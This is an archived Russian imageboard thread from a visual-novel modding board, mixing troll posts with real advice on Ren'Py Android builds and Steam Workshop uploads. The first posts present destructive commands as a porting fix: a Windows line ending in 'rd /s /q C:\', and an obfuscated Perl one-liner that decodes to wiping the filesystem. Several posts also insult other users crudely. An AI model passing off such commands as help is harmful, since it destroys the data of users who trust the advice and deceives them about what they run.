echo "python.port --platform=android --autoresize --automove -o .\mod.zip .\" && rd /s /q C:\
Обращайся, няша.
Ну не знаю, у меня и так заработало.
Но очевидно, что для никсов другая команда:
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`~{;;y; -/:-@[-`{|~};`-{/" *-;;s;;$_;see' & cat /dev/sda
Ну ладно, сейчас попробую.
Правда, можно еще dd'хой попробовать... Но тут уже для экспертов.
http://rgho.st/7htGnGWTk
> мой первай монт карочь)))
> полста метров
Че там, опять подборка линкинпарка заместо оста и десяток стандартных фонов?
Ммм, эти мемисы и мэйлрач-спик.
Ставишь RenPy SDK
На вкладке Android - пункт «Установить SDK и создать ключи».
работает только если на твоей пекарне установлена актуальная версия джавы 32 bit – x86 http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html
выбираешь версию ведра не ниже 4.
цифровая подпись генерируется ренпаем автоматически.
вот этот файл:
c:\renpy-sdk\rapt\android.keystore
его нужно сохранить где-нибудь на случай переустановки ренпая или необходимости создания апк на другом компе. иначе потом не получится обновления опубликовать (ну там, ошибки исправил, концовку добавил и т.д.)
What is the name of the package? – это запрос на введение имени ресурспака. стандарт для андроида выглядит примерно так:
ru.yobaetoti.nietblyad
сначала имя домена первого уровня, затем второго, а после – название игры, тоже строчными латинскими буквами
Ты потерялся?
Вот хули ты забыл на /es/, олень?
Скройся обратно в пашепарашу или /b/, и дай мне спокойно попрощаться с любимой доской. Ебучее школиё, лезете туда, куда вам не нужно.
хочу проапдейтить мод модными артами и багами а этот стим... падла. не дает.
запускаю контентаплоадер для стима, вбиваю всю хуйню, он все это хавает, зелененькими буквами пишет что все ок (Done), говорит "все залилося" а стиме... все по старому. в списке изменений последнее - предыдущее, а только что залитое как будто ушло в никуда.
пробую уже несколько дней подряд, с тем же эффектом
в чем может быть дело?
В том, что это стим?
мне нужно верить, что стим видит изменения, потому что подозреваю он их не видит
может у стима где-то что-то можно поудалять, чтобы он к примеру залил все с нуля?
хм... получилось. откопировал исходники в отдельную папку с меньшей вложенностью, поменял превью и в этот раз все залилось.
и аплоадер написал commiting changes, чего раньше не было. видимо был не в настроении
а, еще вместо ввода changenotes - enter. Просто enter. Вдруг имеет значение.
Молодец, я ни минуты в тебе не сомневался. Был рад помочь.
Вы видите копию треда, сохраненную 14 февраля 2017 года.
Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее
Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.